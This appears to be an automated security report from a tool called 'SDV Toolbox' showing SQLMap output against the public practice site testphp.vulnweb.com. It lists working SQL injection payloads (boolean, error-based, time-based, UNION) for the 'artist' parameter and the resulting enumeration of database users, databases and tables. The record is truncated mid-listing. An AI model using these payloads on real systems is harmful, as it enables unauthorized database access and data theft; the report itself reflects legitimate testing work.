■ SDV Toolbox - Rapport de Sécurité

Outil:	SQLMap
Date:	06/06/2025 à 22:00:28
Cible:	http://testphp.vulnweb.com/artists.php?artist=1
Opérateur:	SDV Security Team

■ Résultats de SQLMap

```
___
__H__
___ ___[(]_____ ___ ___ {1.8.11#stable}
|_ -| . [.] | .'| . |
|___|_ ['']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior
mutual consent is illegal. It is the end user's responsibility to obey all
applicable local, state and federal laws. Developers assume no liability and
are not responsible for any misuse or damage caused by this program

[*] starting @ 22:00:14 /2025-06-06/

[22:00:14] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0
(Macintosh; U; Intel Mac OS X 10_6_3; en-US) AppleWebKit/534.16 (KHTML, like
Gecko) Chrome/10.0.648.133 Safari/534.16' from file
'/usr/share/sqlmap/data/txt/user-agents.txt'
[22:00:14] [INFO] resuming back-end DBMS 'mysql'
[22:00:14] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: artist (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: artist=1 AND 4271=4271

Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY
clause (GTID_SUBSET)
Payload: artist=1 AND GTID_SUBSET(CONCAT(0x7170787071,(SELECT
(ELT(2040=2040,1))),0x717a6b6271),2040)

Type: time-based blind
Title: MySQL >= 5.0.12 OR time-based blind (SLEEP)
Payload: artist=1 OR SLEEP(5)

Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: artist=-5949 UNION ALL SELECT NULL,NULL,CONCAT(0x7170787071,0x4b4d54
```

```
636a427449496652586177434 54d785a7a44737a45474b72475457506a6356526552734561,0x
717a6b6271)-- -
---
[22:00:15] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[22:00:15] [INFO] fetching database users
database management system users [1]:
[*] 'acuart'@'localhost'

[22:00:15] [INFO] fetching database names
available databases [2]:
[*] acuart
[*] information_schema

[22:00:15] [INFO] fetching tables for databases: 'acuart, information_schema'
Database: acuart
[8 tables]
+-------------------------------------+
| artists |
| carts |
| categ |
| featured |
| guestbook |
| pictures |
| products |
| users |
+-------------------------------------+

Database: information_schema
[79 tables]
+-------------------------------------+
| ADMINISTRABLE_ROLE_AUTHORIZATIONS |
| APPLICABLE_ROLES |
| CHARACTER_SETS |
| CHECK_CONSTRAINTS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS_EXTENSIONS |
| COLUMN_PRIVILEGES |
| COLUMN_STATISTICS |
| ENABLED_ROLES |
| FILES |
| INNODB_BUFFER_PAGE |
| INNODB_BUFFER_PAGE_LRU |
| INNODB_BUFFER_POOL_STATS |
| INNODB_CACHED_INDEXES |
| INNODB_CMP |
| INNODB_CMPMEM |
| INNODB_CMPMEM_RESET |
| INNODB_CMP_PER_INDEX |
| INNODB_CMP_PER_INDEX_RESET |
| INNODB_CMP_RESET |
| INNODB_COLUMNS |
| INNODB_DATAFILES |
| INNODB_FIELDS
```

[... Résultats tronqués ...]